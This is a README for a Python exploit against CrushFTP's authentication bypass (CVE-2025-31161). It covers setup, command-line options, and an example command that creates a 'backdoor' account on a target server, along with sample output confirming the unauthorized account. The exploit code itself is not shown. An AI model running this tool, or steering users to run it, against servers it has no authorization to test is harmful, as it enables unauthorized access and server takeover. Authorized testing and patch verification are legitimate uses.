CVE-2025-31161 - CrushFTP User Creation Authentication Bypass Exploit

📌 Description

This Python exploit targets CrushFTP servers vulnerable to CVE-2025-31161. The vulnerability allows unauthenticated user account creation by sending a crafted XML payload to the WebInterface, potentially resulting in full server compromise.

---

⚠️ Disclaimer

This tool is intended for educational and authorized security testing only.
Unauthorized use against systems you do not own or have explicit permission to test is illegal and unethical.

---

🧰 Requirements

• Python 3
• pip3
• Python modules:
  • requests
  • colorama

✅ Install Python3 and pip3

Debian/Ubuntu:

sudo apt update
sudo apt install python3 python3-pip -y

CentOS/RHEL:

sudo yum install python3 python3-pip -y

macOS (with Homebrew):

brew install python3

✅ Install Python dependencies

pip3 install requests colorama

---

🔧 Usage

python3 CVE-2025-31161.py --target_host <TARGET_IP> [--port <PORT>] [--target_user <ADMIN>] [--new_user <USERNAME>] [--password <PASSWORD>]

🔍 Example

python3 CVE-2025-31161.py --target_host 192.168.1.100 --new_user backdoor --password P@ssw0rd!

---

🧪 Command-Line Options

Argument	Description	Default Value
--target_host	(Required) IP or domain of target	—
--port	Port of CrushFTP WebInterface	8080
--target_user	Admin username (used in payload)	crushadmin
--new_user	Username for new unauthorized account	AuthBypassAccount
--password	Password for the new user	CorrectHorseBatteryStaple

---

🖥️ Sample Output

[+] Preparing Payloads
  [-] Warming up the target...
  [-] Target is up and running
[+] Sending Account Create Request
  [!] User created successfully!

[+] Exploit Complete! You can now login with:
   [*] Username: AuthBypassAccount
   [*] Password: CorrectHorseBatteryStaple

---

👨‍💻 Author

Gaurav Bhattacharjee (G4UR4V007)

---

📄 License

This project is licensed under the MIT License.